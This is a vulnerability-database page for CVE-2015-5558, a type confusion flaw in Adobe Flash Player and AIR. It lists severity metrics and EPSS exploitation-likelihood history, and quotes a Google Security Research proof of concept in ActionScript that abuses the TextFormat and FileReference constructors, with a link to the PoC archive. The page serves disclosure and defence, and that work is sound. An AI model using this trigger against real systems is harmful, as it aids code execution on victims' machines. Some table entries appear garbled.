CVE-2015-5558

EPSS

55.41%V4

Vector

Network

Published

2015-08-13
23h00 +00:00

Modified

2018-01-04
18h57 +00:00

Official links

CVE.org

NVD

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Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

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Specified here a CVE ID as CVE-2025-1234

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CVE Descriptions

Adobe Flash Player before 18.0.0.232 on Windows and OS X and before 11.2.202.508 on Linux, Adobe AIR before 18.0.0.199, Adobe AIR SDK before 18.0.0.199, and Adobe AIR SDK & Compiler before 18.0.0.199 allow attackers to execute arbitrary code by leveraging an unspecified "type confusion," a different vulnerability than CVE-2015-5554, CVE-2015-5555, and CVE-2015-5562.

CVE Informations

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	10		AV:N/AC:L/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	87.56%	–	–
2023-03-12	–	–	–	87.75%	–
2023-04-02	–	–	–	86.05%	–
2023-05-07	–	–	–	85.86%	–
2023-06-11	–	–	–	81.56%	–
2023-08-13	–	–	–	83.76%	–
2023-12-17	–	–	–	84.26%	–
2024-04-21	–	–	–	83.63%	–
2024-06-02	–	–	–	83.63%	–
2024-07-28	–	–	–	83.63%	–
2024-08-04	–	–	–	83.63%	–
2024-08-11	–	–	–	83.63%	–
2024-12-22	–	–	–	55.85%	–
2025-02-09	–	–	–	46.32%	–
2025-01-19	–	–	–	55.85%	–
2025-02-16	–	–	–	46.32%	–
2025-03-18	–	–	–	–	55.41%
2025-03-18	–	–	–	–	55.41,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	1%
2023-03-12	98%
2023-04-02	98%
2023-05-07	98%
2023-06-11	98%
2023-08-13	98%
2023-12-17	98%
2024-04-21	98%
2024-06-02	98%
2024-07-28	99%
2024-08-04	98%
2024-08-11	99%
2024-12-22	98%
2025-02-09	98%
2025-01-19	98%
2025-02-16	98%
2025-03-18	98%
2025-03-18	98%

Exploit information

Exploit Database EDB-ID : 37878

Publication date : 2015-08-18 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

Source: https://code.google.com/p/google-security-research/issues/detail?id=422&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id There is a type confusion issue in the TextFormat constructor that is reachable because the FileReference constructor does not verify that the incoming object is of type Object (it only checks that the object is not native backed). The TextFormat constructor first sets a new object to type TextFormat, and then calls into script several times before setting the native backing object. If one of these script calls then calls into the FileReference constructor, the object can be set to type FileReference, and then the native object will be set to the TextFormat, leading to type confusion. A PoC is as follows: In the main SWF: var a = new subfr(); var allTypes:Array = new Array(); var imageTypes:Object = new Object(); imageTypes.description = "Images (*.jpg, *.jpeg, *.gif, *.png)"; imageTypes.extension = "*.jpg; *.jpeg; *.gif; *.png"; allTypes.push(imageTypes); var textTypes:Object = new Object(); textTypes.description = "Text Files (*.txt, *.rtf)"; textTypes.extension = "*.txt;*.rtf"; allTypes.push(textTypes); var f = new flash.net.FileReference(); f.cancel.call(a); Defining subfr: class subfr extends Object{ public function subfr(){ var n = {valueOf : func}; this.valueOf = func; this.toString = func; this.__proto__ = {}; this.__proto__.__constructor__ = TextFormat; super(this); } function func(){ this.__proto__ = {}; this.__proto__.__constructor__ = flash.net.FileReference; super(); return "natalie"; } } A sample SWF and fla are attached. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37878.zip